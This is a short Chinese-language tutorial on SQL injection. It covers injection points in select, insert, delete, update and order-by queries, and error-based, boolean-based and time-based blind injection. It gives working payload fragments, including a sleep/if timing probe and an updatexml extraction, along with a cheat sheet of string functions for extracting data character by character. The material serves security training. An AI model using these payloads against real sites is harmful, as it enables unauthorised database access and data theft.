十六:SQL注入之查询方式及报错盲注
在很多注入时,有很多注入会出现无回显的情况,其中不回显的原因可能是SQL查询语句有问题,这时候我们需要用到相关的报错或者盲注进行后续操作,同时作为手工注入的时候,需要提前了解SQL语句能更好的选择对应的注入语句。
select 查询语句
查询语句:
select * from news where id = $id
insert 插入数据
在网站中进行新用户增加删除等操作
insert into news(id,url,text) values(2,'du','tutu')
delete 输出数据
后台进行删除文章
delete from news where id = $id
updata 更新数据
会员后台中心数据同步或者进行缓存等操作
update user set pwd='$p' where id=2 and username = 'admin'
order by 排序数据
一般结合表名或者列名进行数据排序操作
select * from news order by $id
select id,name,price from news order by $order
SQL注入报错盲注
盲注就是在注入过程中,获取的数据不能回显至前端页面。此时,我们需要利用一些方法进行判断或者尝试,这个过程称之为盲注。
盲注分为三类:
(二)基于布尔的盲注-逻辑判断
regexp,like,ascii,left,ord,mid
(三)基于时间的盲注-延时判断
if,sleep
select * from member where id = 1 and sleep(if(database()='pikuchu',5,0))
引号可能会被转义,所以需要加入ascii
(一)基于报错的SQL盲注-报错回显
floor,updatexml,extractvalue
updatexml(1,concat(0x7e,database()),0)
参考:
like 'ro%' #判断or 或者ro 是否成立
regexp '^xiaodi [a-z]' #匹配xiaodi及xiaodi...等
if(条件,5,0) #条件成立,返回5 反之 返回 0
sleep(5) # SQL语句延时执行5秒
mid(a,b,c) # 从位置b开始,截取a字符串的c位
substr(a,b,c)# 从b位置开始,截取字符串a的位置
left(database(),1) # left(a,b) 从左截取a的前b位
length(database())= 8 # 判断数据库名的长度
ord = ascii ascii(x)= 97 # 判断ascii码是否等于97
access猜解出了数据库名,不知道列名,用偏移注入。